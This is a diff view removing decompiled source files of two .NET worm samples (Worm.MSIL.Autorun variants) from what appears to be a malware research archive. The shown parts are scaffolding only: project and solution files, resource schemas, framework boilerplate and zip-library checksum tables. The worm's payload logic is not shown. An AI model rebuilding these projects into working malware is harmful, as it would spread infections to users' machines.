ProjectData.SetProjectError(ex);
goto label_42;
}
throw ProjectData.CreateProjectError(-2146828237);
label_47:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
}
}

18
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422/My/MyApplication.cs
View File

@ -1,18 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Worm.My.MyApplication
// Assembly: darkbyte23, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: D4C3E168-4773-470D-B4A2-EE74370F5883
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
namespace Worm.My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyApplication : ConsoleApplicationBase
{
}
}

24
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422/My/MyComputer.cs
View File

@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Worm.My.MyComputer
// Assembly: darkbyte23, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: D4C3E168-4773-470D-B4A2-EE74370F5883
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace Worm.My
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal class MyComputer : Computer
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyComputer()
{
}
}
}

189
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422/My/MyProject.cs
View File

@ -1,189 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Worm.My.MyProject
// Assembly: darkbyte23, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: D4C3E168-4773-470D-B4A2-EE74370F5883
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Worm.My
{
[HideModuleName]
[StandardModule]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.Forms")]
internal static MyProject.MyForms Forms
{
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[EditorBrowsable(EditorBrowsableState.Never)]
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
internal sealed class MyForms
{
[ThreadStatic]
private static Hashtable m_FormBeingCreated;
[DebuggerHidden]
private static T Create__Instance__<T>(T Instance) where T : Form, new()
{
if ((object) Instance != null && !Instance.IsDisposed)
return Instance;
if (MyProject.MyForms.m_FormBeingCreated != null)
{
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
}
else
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
try
{
return new T();
}
catch (TargetInvocationException ex) when (
{
// ISSUE: unable to correctly present filter
ProjectData.SetProjectError((Exception) ex);
if (ex.InnerException != null)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
}
finally
{
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
}
}
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) where T : Form
{
instance.Dispose();
instance = default (T);
}
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyForms()
{
}
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
internal new System.Type GetType() => typeof (MyProject.MyForms);
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
}
[EditorBrowsable(EditorBrowsableState.Never)]
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
internal sealed class MyWebServices
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public MyWebServices()
{
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[ComVisible(false)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public ThreadSafeObjectProvider()
{
}
}
}
}

23
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422/My/MySettings.cs
View File

@ -1,23 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Worm.My.MySettings
// Assembly: darkbyte23, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: D4C3E168-4773-470D-B4A2-EE74370F5883
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422.exe
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Configuration;
using System.Runtime.CompilerServices;
namespace Worm.My
{
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "8.0.0.0")]
[CompilerGenerated]
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal sealed class MySettings : ApplicationSettingsBase
{
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
public static MySettings Default => MySettings.defaultInstance;
}
}

24
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422/My/MySettingsProperty.cs
View File

@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Worm.My.MySettingsProperty
// Assembly: darkbyte23, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: D4C3E168-4773-470D-B4A2-EE74370F5883
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
namespace Worm.My
{
[DebuggerNonUserCode]
[StandardModule]
[CompilerGenerated]
[HideModuleName]
internal sealed class MySettingsProperty
{
[HelpKeyword("My.Settings")]
internal static MySettings Settings => MySettings.Default;
}
}

46
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422/My/Resources/Resources.cs
View File

@ -1,46 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Worm.My.Resources.Resources
// Assembly: darkbyte23, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: D4C3E168-4773-470D-B4A2-EE74370F5883
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;
namespace Worm.My.Resources
{
[HideModuleName]
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
[CompilerGenerated]
[StandardModule]
[DebuggerNonUserCode]
internal sealed class Resources
{
private static ResourceManager resourceMan;
private static CultureInfo resourceCulture;
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static ResourceManager ResourceManager
{
get
{
if (object.ReferenceEquals((object) Worm.My.Resources.Resources.resourceMan, (object) null))
Worm.My.Resources.Resources.resourceMan = new ResourceManager("Worm.Resources", typeof (Worm.My.Resources.Resources).Assembly);
return Worm.My.Resources.Resources.resourceMan;
}
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static CultureInfo Culture
{
get => Worm.My.Resources.Resources.resourceCulture;
set => Worm.My.Resources.Resources.resourceCulture = value;
}
}
}

120
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422/Resources.resx
View File

@ -1,120 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

51
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422/Worm.MSIL.Autorun.a.csproj
View File

@ -1,51 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{6746D4CF-40D7-42AC-9FD9-C1F67F54F79F}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>darkbyte23</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
<RootNamespace>Worm</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="Module1.cs" />
<Compile Include="My\MyApplication.cs" />
<Compile Include="My\MyComputer.cs" />
<Compile Include="My\MyProject.cs" />
<Compile Include="My\MySettings.cs" />
<Compile Include="My\MySettingsProperty.cs" />
<Compile Include="My\Resources\Resources.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Resources.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

20
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422/Worm.MSIL.Autorun.a.sln
View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "darkbyte23", "Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422.csproj", "{6746D4CF-40D7-42AC-9FD9-C1F67F54F79F}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6746D4CF-40D7-42AC-9FD9-C1F67F54F79F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6746D4CF-40D7-42AC-9FD9-C1F67F54F79F}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6746D4CF-40D7-42AC-9FD9-C1F67F54F79F}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6746D4CF-40D7-42AC-9FD9-C1F67F54F79F}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

9
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/AssemblyInfo.cs
View File

@ -1,9 +0,0 @@
using System.Reflection;
[assembly: AssemblyCopyright("ATFECATICPpR")]
[assembly: AssemblyCompany("vpmtR")]
[assembly: AssemblyTitle("hMnHuqziM")]
[assembly: AssemblyTrademark("LsGbCoOgOdnClg")]
[assembly: AssemblyDescription("cqRfZVZ")]
[assembly: AssemblyProduct("cvbGOzBIgnRPG")]
[assembly: AssemblyVersion("1.0.0.0")]

57
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Checksums/Adler32.cs
View File

@ -1,57 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Checksums.Adler32
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using System;
namespace ICSharpCode.SharpZipLib.Checksums
{
public sealed class Adler32 : IChecksum
{
private static readonly uint BASE = 65521;
private uint checksum;
public long Value => (long) this.checksum;
public Adler32() => this.Reset();
public void Reset() => this.checksum = 1U;
public void Update(int bval)
{
uint num1 = this.checksum & (uint) ushort.MaxValue;
uint num2 = this.checksum >> 16;
uint num3 = (num1 + (uint) (bval & (int) byte.MaxValue)) % Adler32.BASE;
this.checksum = ((num3 + num2) % Adler32.BASE << 16) + num3;
}
public void Update(byte[] buffer) => this.Update(buffer, 0, buffer.Length);
public void Update(byte[] buf, int off, int len)
{
if (buf == null)
throw new ArgumentNullException(nameof (buf));
if (off < 0 || len < 0 || off + len > buf.Length)
throw new ArgumentOutOfRangeException();
uint num1 = this.checksum & (uint) ushort.MaxValue;
uint num2 = this.checksum >> 16;
while (len > 0)
{
int num3 = 3800;
if (num3 > len)
num3 = len;
len -= num3;
while (--num3 >= 0)
{
num1 += (uint) buf[off++] & (uint) byte.MaxValue;
num2 += num1;
}
num1 %= Adler32.BASE;
num2 %= Adler32.BASE;
}
this.checksum = num2 << 16 | num1;
}
}
}

304
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Checksums/Crc32.cs
View File

@ -1,304 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Checksums.Crc32
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using System;
namespace ICSharpCode.SharpZipLib.Checksums
{
public sealed class Crc32 : IChecksum
{
private static readonly uint CrcSeed = uint.MaxValue;
public static readonly uint[] CrcTable = new uint[256]
{
0U,
1996959894U,
3993919788U,
2567524794U,
124634137U,
1886057615U,
3915621685U,
2657392035U,
249268274U,
2044508324U,
3772115230U,
2547177864U,
162941995U,
2125561021U,
3887607047U,
2428444049U,
498536548U,
1789927666U,
4089016648U,
2227061214U,
450548861U,
1843258603U,
4107580753U,
2211677639U,
325883990U,
1684777152U,
4251122042U,
2321926636U,
335633487U,
1661365465U,
4195302755U,
2366115317U,
997073096U,
1281953886U,
3579855332U,
2724688242U,
1006888145U,
1258607687U,
3524101629U,
2768942443U,
901097722U,
1119000684U,
3686517206U,
2898065728U,
853044451U,
1172266101U,
3705015759U,
2882616665U,
651767980U,
1373503546U,
3369554304U,
3218104598U,
565507253U,
1454621731U,
3485111705U,
3099436303U,
671266974U,
1594198024U,
3322730930U,
2970347812U,
795835527U,
1483230225U,
3244367275U,
3060149565U,
1994146192U,
31158534U,
2563907772U,
4023717930U,
1907459465U,
112637215U,
2680153253U,
3904427059U,
2013776290U,
251722036U,
2517215374U,
3775830040U,
2137656763U,
141376813U,
2439277719U,
3865271297U,
1802195444U,
476864866U,
2238001368U,
4066508878U,
1812370925U,
453092731U,
2181625025U,
4111451223U,
1706088902U,
314042704U,
2344532202U,
4240017532U,
1658658271U,
366619977U,
2362670323U,
4224994405U,
1303535960U,
984961486U,
2747007092U,
3569037538U,
1256170817U,
1037604311U,
2765210733U,
3554079995U,
1131014506U,
879679996U,
2909243462U,
3663771856U,
1141124467U,
855842277U,
2852801631U,
3708648649U,
1342533948U,
654459306U,
3188396048U,
3373015174U,
1466479909U,
544179635U,
3110523913U,
3462522015U,
1591671054U,
702138776U,
2966460450U,
3352799412U,
1504918807U,
783551873U,
3082640443U,
3233442989U,
3988292384U,
2596254646U,
62317068U,
1957810842U,
3939845945U,
2647816111U,
81470997U,
1943803523U,
3814918930U,
2489596804U,
225274430U,
2053790376U,
3826175755U,
2466906013U,
167816743U,
2097651377U,
4027552580U,
2265490386U,
503444072U,
1762050814U,
4150417245U,
2154129355U,
426522225U,
1852507879U,
4275313526U,
2312317920U,
282753626U,
1742555852U,
4189708143U,
2394877945U,
397917763U,
1622183637U,
3604390888U,
2714866558U,
953729732U,
1340076626U,
3518719985U,
2797360999U,
1068828381U,
1219638859U,
3624741850U,
2936675148U,
906185462U,
1090812512U,
3747672003U,
2825379669U,
829329135U,
1181335161U,
3412177804U,
3160834842U,
628085408U,
1382605366U,
3423369109U,
3138078467U,
570562233U,
1426400815U,
3317316542U,
2998733608U,
733239954U,
1555261956U,
3268935591U,
3050360625U,
752459403U,
1541320221U,
2607071920U,
3965973030U,
1969922972U,
40735498U,
2617837225U,
3943577151U,
1913087877U,
83908371U,
2512341634U,
3803740692U,
2075208622U,
213261112U,
2463272603U,
3855990285U,
2094854071U,
198958881U,
2262029012U,
4057260610U,
1759359992U,
534414190U,
2176718541U,
4139329115U,
1873836001U,
414664567U,
2282248934U,
4279200368U,
1711684554U,
285281116U,
2405801727U,
4167216745U,
1634467795U,
376229701U,
2685067896U,
3608007406U,
1308918612U,
956543938U,
2808555105U,
3495958263U,
1231636301U,
1047427035U,
2932959818U,
3654703836U,
1088359270U,
936918000U,
2847714899U,
3736837829U,
1202900863U,
817233897U,
3183342108U,
3401237130U,
1404277552U,
615818150U,
3134207493U,
3453421203U,
1423857449U,
601450431U,
3009837614U,
3294710456U,
1567103746U,
711928724U,
3020668471U,
3272380065U,
1510334235U,
755167117U
};
private uint crc = 0;
public long Value
{
get => (long) this.crc;
set => this.crc = (uint) value;
}
public void Reset() => this.crc = 0U;
public void Update(int bval)
{
this.crc ^= Crc32.CrcSeed;
this.crc = Crc32.CrcTable[((long) this.crc ^ (long) bval) & (long) byte.MaxValue] ^ this.crc >> 8;
this.crc ^= Crc32.CrcSeed;
}
public void Update(byte[] buffer) => this.Update(buffer, 0, buffer.Length);
public void Update(byte[] buf, int off, int len)
{
if (buf == null)
throw new ArgumentNullException(nameof (buf));
if (off < 0 || len < 0 || off + len > buf.Length)
throw new ArgumentOutOfRangeException();
this.crc ^= Crc32.CrcSeed;
while (--len >= 0)
this.crc = Crc32.CrcTable[(IntPtr) (uint) (((int) this.crc ^ (int) buf[off++]) & (int) byte.MaxValue)] ^ this.crc >> 8;
this.crc ^= Crc32.CrcSeed;
}
}
}

21
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Checksums/IChecksum.cs
View File

@ -1,21 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Checksums.IChecksum
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
namespace ICSharpCode.SharpZipLib.Checksums
{
public interface IChecksum
{
long Value { get; }
void Reset();
void Update(int bval);
void Update(byte[] buffer);
void Update(byte[] buf, int off, int len);
}
}

300
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Checksums/StrangeCRC.cs
View File

@ -1,300 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Checksums.StrangeCRC
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using System;
namespace ICSharpCode.SharpZipLib.Checksums
{
public class StrangeCRC : IChecksum
{
private static readonly uint[] crc32Table = new uint[256]
{
0U,
79764919U,
159529838U,
222504665U,
319059676U,
398814059U,
445009330U,
507990021U,
638119352U,
583659535U,
797628118U,
726387553U,
890018660U,
835552979U,
1015980042U,
944750013U,
1276238704U,
1221641927U,
1167319070U,
1095957929U,
1595256236U,
1540665371U,
1452775106U,
1381403509U,
1780037320U,
1859660671U,
1671105958U,
1733955601U,
2031960084U,
2111593891U,
1889500026U,
1952343757U,
2552477408U,
2632100695U,
2443283854U,
2506133561U,
2334638140U,
2414271883U,
2191915858U,
2254759653U,
3190512472U,
3135915759U,
3081330742U,
3009969537U,
2905550212U,
2850959411U,
2762807018U,
2691435357U,
3560074640U,
3505614887U,
3719321342U,
3648080713U,
3342211916U,
3287746299U,
3467911202U,
3396681109U,
4063920168U,
4143685023U,
4223187782U,
4286162673U,
3779000052U,
3858754371U,
